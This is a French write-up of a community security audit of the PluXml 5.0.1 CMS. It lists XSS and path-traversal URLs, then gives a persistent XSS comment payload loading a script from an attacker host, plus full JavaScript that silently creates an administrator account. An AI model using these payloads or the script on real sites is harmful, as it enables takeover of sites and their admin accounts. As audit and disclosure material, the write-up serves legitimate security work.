Zenk Roulette 2 : PluXml 5.0.1

Date : le mardi 10 août 2010 de 19h à 23h00

Application auditée : PluXml 5.0.1 : http://pluxml.org

Description : Il s'agit d'un CMS qui permet de gérer un Blog / Site. Sa particularité est d'être “Databaseless”. En effet, toutes les données sont stockées dans des fichiers XML

Pad : http://piratepad.net/E5ZA3mDptU


Défauts de sécurité :

De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur du site et d'autres ne sont accessibles qu'à une personne ayant les droits limités d'un rédacteur.

http://localhost/pluxml/version
http://localhost/pluxml/core/admin/auth.php?p=1337%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
http://localhost/pluxml/core/lib/class.plx.admin.php
http://localhost/pluxml/core/lib/class.plx.feed.php
http://localhost/pluxml/core/lib/class.plx.updater.php

(tryks & BaRBcH).

http://localhost/pluxml/core/admin/medias.php?hash=tGJN5ZTw6i&deldir=..&dir=

(Asus).


Solution retenue :

XSS Persistante dans le champ “Site” du formulaire de commentaires (BuRner) :

http://www.rogue.com"><script src=http://attaquant/pluxploit.js></script>

Ainsi, il suffira à l'administrateur de se connecter à la page de l'article contenant le commentaire piégé pour qu'un nouvel administrateur soit créé.

Code source de pluxploit.js (BuRner) :

pluxploit.js
/******************************************
 *
 * Author: Zenk-Security
 * App: Pluxml 5.0.1
 * Type: Persistent XSS expoitation
 * Function: Create Administrator account
 *
 *****************************************/
 
function createXMLHttpRequest()
{
   try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
   try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
   try { return new XMLHttpRequest(); } catch(e) {}
   return null;
}
 
var ajax = createXMLHttpRequest();
if(ajax != null)
{
	var params = 'userNum[]=999&999_newuser=true&999_name=user&999_infos=&999_login=login&999_password=pass&999_profil=0&999_active=1&selection=&update=Modifier+la+liste+des+utilisateurs';
 
	ajax.open('POST', '/pluxml/core/admin/parametres_users.php', true);
	ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	ajax.setRequestHeader("Content-length", params.length);
	ajax.setRequestHeader("Connection", "close");
	ajax.send(params);
}